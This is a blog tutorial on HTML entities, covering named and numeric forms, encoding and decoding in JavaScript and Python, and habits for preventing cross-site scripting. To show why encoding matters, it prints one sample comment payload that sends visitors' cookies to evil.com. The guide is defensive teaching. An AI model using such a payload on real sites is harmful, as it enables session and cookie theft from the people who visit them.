Blog

How to encode and decode HTML entities

What HTML entities are, why encoding them prevents XSS, the difference between named and numeric entities, and how to encode and decode them in JavaScript and Python.

February 10, 2026

You paste a code sample into a blog post, hit publish, and half of it vanishes. The browser saw <div> and treated it as a real tag. HTML entities are how you tell it to show the character instead of acting on it.

They’re also your first line of defense against one of the most common web attacks, so they’re worth understanding properly.

What HTML entities are

An HTML entity is a short code that stands for a character. It starts with an ampersand (&) and ends with a semicolon (;). In between is either a name, such as &lt;, or a number, such as &#60;.

Entities exist because some characters mean something to the HTML parser. The less-than sign opens a tag, so to show a literal < on the page you write &lt;. The browser displays the character instead of treating it as markup. This is how pages show code samples and math.

Entities were also the way to include characters such as € or non-Latin letters when pages used ASCII or Latin-1. With UTF-8, which nearly every page now uses, you can type those characters directly. Only the reserved characters strictly need encoding.

Why encoding matters

Preventing cross-site scripting (XSS)

Cross-site scripting (XSS) happens when an attacker gets their own JavaScript to run on a page other people view. The classic case is a comment form that writes user input straight into the HTML:

Submitted comment
<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Rendered as-is, that script runs in every visitor’s browser. Encoded, it becomes harmless text that is displayed, not executed:

Encoded
&lt;script&gt;document.location=&#39;https://evil.com/steal?c=&#39;+document.cookie&lt;/script&gt;

Encoding output is the main defense against XSS, which is why template engines and frontend frameworks do it by default.

Displaying reserved characters

HTML reserves five characters:

  • < and >, which delimit tags
  • &, which starts an entity
  • " and ', which delimit attribute values

Written raw, they can be misread. Text such as &copy=1 in a URL may be shown as ©=1, because the browser sees an entity.

Making invisible characters visible in source

Some characters look like nothing in an editor: a non-breaking space, a soft hyphen, a zero-width space. Writing them as &nbsp;, &shy; or &#8203; makes your intent obvious to whoever reads the source next.

Named and numeric entities

A named entity uses a short, memorable name. A numeric entity uses the character’s Unicode code point, either in decimal (&#) or in hexadecimal (&#x):

Text
Char     Named      Decimal    Hex
&        &amp;      &#38;      &#x26;
<        &lt;       &#60;      &#x3C;
>        &gt;       &#62;      &#x3E;
"        &quot;     &#34;      &#x22;
'        &apos;     &#39;      &#x27;
(nbsp)   &nbsp;     &#160;     &#xA0;
©        &copy;     &#169;     &#xA9;
€        &euro;     &#8364;    &#x20AC;
—        &mdash;    &#8212;    &#x2014;
™        &trade;    &#8482;    &#x2122;

Named entities are easier to read, but not every character has one. Numeric entities work for any character. &apos; wasn't part of HTML 4, so &#39; is the safer choice for a single quote if old parsers might read your output. HTML5 supports both.

Encoding and decoding in JavaScript

JavaScript has no built-in HTML escape function, but a few replacements cover the reserved characters:

JavaScript
function encodeHtmlEntities(str) {
  return str
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#39;");
}

encodeHtmlEntities('<script>alert("xss")</script>');
// &lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;

Replace & first. Otherwise the ampersands in the entities you just wrote get encoded again, and &lt; turns into &amp;lt;.

In the browser you can decode with the DOM. A textarea treats its content as text, so nothing in the string runs:

JavaScript
function decodeHtmlEntities(str) {
  const textarea = document.createElement("textarea");
  textarea.innerHTML = str;
  return textarea.value;
}

decodeHtmlEntities("&lt;div class=&quot;box&quot;&gt;");
// <div class="box">

In Node.js, which has no DOM, use a library such as he or entities. With he, escape encodes the reserved characters and decode understands every named and numeric entity:

JavaScript
import he from "he";

he.escape('<script>alert("xss")</script>');
// "&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;"

he.decode("&lt;p&gt;Hello &amp; welcome&lt;/p&gt;");
// "<p>Hello & welcome</p>"

Encoding and decoding in Python

The standard library’s html module does both. html.escape encodes &, < and >, and by default (quote=True) also both kinds of quote:

Python
import html

html.escape("It's a <test> & \"more\"")
# It&#x27;s a &lt;test&gt; &amp; &quot;more&quot;

html.escape("It's a <test>", quote=False)
# It's a &lt;test&gt;

html.unescape("&lt;div&gt;Hello &amp; welcome&lt;/div&gt;")
# <div>Hello & welcome</div>

To turn every non-ASCII character into a numeric entity, encode to ASCII with the xmlcharrefreplace error handler:

Python
text = "Price: €50 — 20% off™"
text.encode("ascii", "xmlcharrefreplace").decode("ascii")
# Price: &#8364;50 &#8212; 20% off&#8482;

Using the HTML entity encoder and decoder

  1. Open the HTML entity encoder and decoder and choose Encode or Decode.
  2. Paste your text. When encoding, you can tick Encode all non-ASCII characters to turn characters such as é or € into decimal entities, and Use numeric entities to write the special characters as &#60; instead of &lt;.
  3. Select Encode or Decode, then Copy the result. Swap moves the output back into the input and flips the direction.

Encoding always escapes the five reserved characters plus /, ` and =, which can matter in unquoted attributes. Decoding understands every decimal and hex entity and about 45 common named ones, including &nbsp;, &copy;, &mdash; and the curly quotes. Rarer named entities are left as they are. Everything runs in your browser.

Good habits

  • Encode all user-generated content before it goes into HTML.
  • Encode on output, not on input. Store the original text and encode it where it's inserted into the page, so you can encode correctly for each context.
  • Rely on your framework. React escapes values in JSX, Django and Rails templates escape variables by default. Bypassing that with dangerouslySetInnerHTML, |safe or html_safe should be rare and deliberate.
  • Encode for the right context. HTML entity encoding protects element content and quoted attributes. It doesn't make a value safe inside a <script> block, an event handler such as onclick, or a URL. Those need JavaScript or URL encoding, and ideally not untrusted input at all.
  • Watch for double encoding. If you see &amp;amp; on a page, the same text was encoded more than once. It happens to everyone eventually.

Need data from a webpage as JSON?

PulpMiner turns any public page into structured JSON and can save it as a live API. See it work on a demo page, no sign-up.

Try it on a demo page